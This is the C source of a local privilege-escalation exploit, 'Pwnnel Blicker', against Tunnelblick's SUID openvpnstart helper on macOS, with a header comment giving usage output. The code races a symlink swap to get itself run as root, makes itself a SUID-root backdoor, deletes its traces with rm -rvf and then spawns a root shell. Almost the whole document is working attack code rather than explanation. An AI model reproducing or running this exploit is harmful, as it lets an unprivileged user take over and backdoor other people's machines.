Tunnelblick Local Root Exploit

/*
 * ==== Pwnnel Blicker ====
 * =                      =
 * =        zx2c4         =
 * =                      =
 * ========================
 *
 * Tunnel Blick, a widely used OpenVPN manager for OSX
 * comes with a nice SUID executable that has more holes
 * than you care to count. It's a treasure chest of local
 * roots. I picked one that looked interesting, and here
 * we have Pwnnel Blicker.
 *
 * Tunnel Blick will run any executable that has 744
 * permissions and is owned by root:root. Probably we
 * could find a way to exploit an already existing 744
 * executable, but this would be too easy. So instead, we
 * take advantage of a race condition between checking the
 * file permissions on the executable and actually running
 * it.
 *
 * Usage:
 * $ ./a.out
 * [+] Creating vulnerable directory.
 * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk
 * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents
 * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources
 * [+] Writing pid and executing vulnerable program.
 * [+] Running toggler.
 * [+] Making backdoor.
 * [+] Cleaning up.
 * /Users/zx2c4/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources/../../..//pwnage.tblk/Contents/Resources/exploit.pid
 * [+] Complete. Run this again to get root.
 * Killed: 9
 *
 * $ ./a.out
 * [+] Getting root.
 * # whoami
 * root
 *
 */

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>
#include <sys/stat.h>

int main(int argc, char *argv[])
{
 char dir[512];
 char script[512];
 char command[512];
 char pid_file[512];
 char path[512];
 char self[512];
 uint32_t size;
 pid_t pid, pid2;
 FILE *file;
 
 snprintf(dir, sizeof(dir), "%s/Library/Application Support/Tunnelblick/Configurations/pwnage.tblk/Contents/Resources", getenv("HOME"));
 snprintf(pid_file, sizeof(pid_file), "%s/exploit.pid", dir);

 /* Oh god, do I miss /proc/self/exe. */
 if (getenv("PWNPATH"))
  strcpy(self, getenv("PWNPATH"));
 else {
  size = sizeof(path);
  _NSGetExecutablePath(path, &size);
  realpath(path, self);
  setenv("PWNPATH", self, 1);
 }

 if (!geteuid()) {
  file = fopen(pid_file, "r");
  if (file) { 
   printf("[+] Making backdoor.\n");
   chown(self, 0, 0);
   chmod(self, S_ISUID | S_IXOTH);

   printf("[+] Cleaning up.\n");
   fscanf(file, "%d %d", &pid, &pid2);
   fclose(file);
   snprintf(command, sizeof(command), "rm -rvf '%s/../../../'", dir);
   system(command);
  
   printf("[+] Complete. Run this again to get root.\n");
   kill(pid2, 9);
   kill(pid, 9);
   return 0;
  }
  printf("[+] Getting root.\n");
  setuid(0);
  setgid(0);
  execl("/bin/bash", "bash", NULL);
 }

 printf("[+] Creating vulnerable directory.\n");
 snprintf(command, sizeof(command), "mkdir -p -v '%s'", dir);
 system(command);

 pid = fork();
 if (!pid) {
  printf("[+] Running toggler.\n");
  snprintf(script, sizeof(script), "%s/connected.sh", dir);
  for (;;) {
   unlink(script);
   symlink("/Applications/Tunnelblick.app/Contents/Resources/client.down.tunnelblick.sh", script);
   unlink(script);
   symlink(self, script);
  }
 } else {
  printf("[+] Writing pid and executing vulnerable program.\n");
  file = fopen(pid_file, "w");
  fprintf(file, "%d %d", pid, getpid());
  fclose(file);
  for (;;) {
   if (fork())
    wait(NULL);
   else {
    close(0);
    close(2);
    execl("/Applications/Tunnelblick.app/Contents/Resources/openvpnstart", "openvpnstart", "connected", "pwnage.tblk", "0", NULL);
   }
  }
 }

 return 0; 
}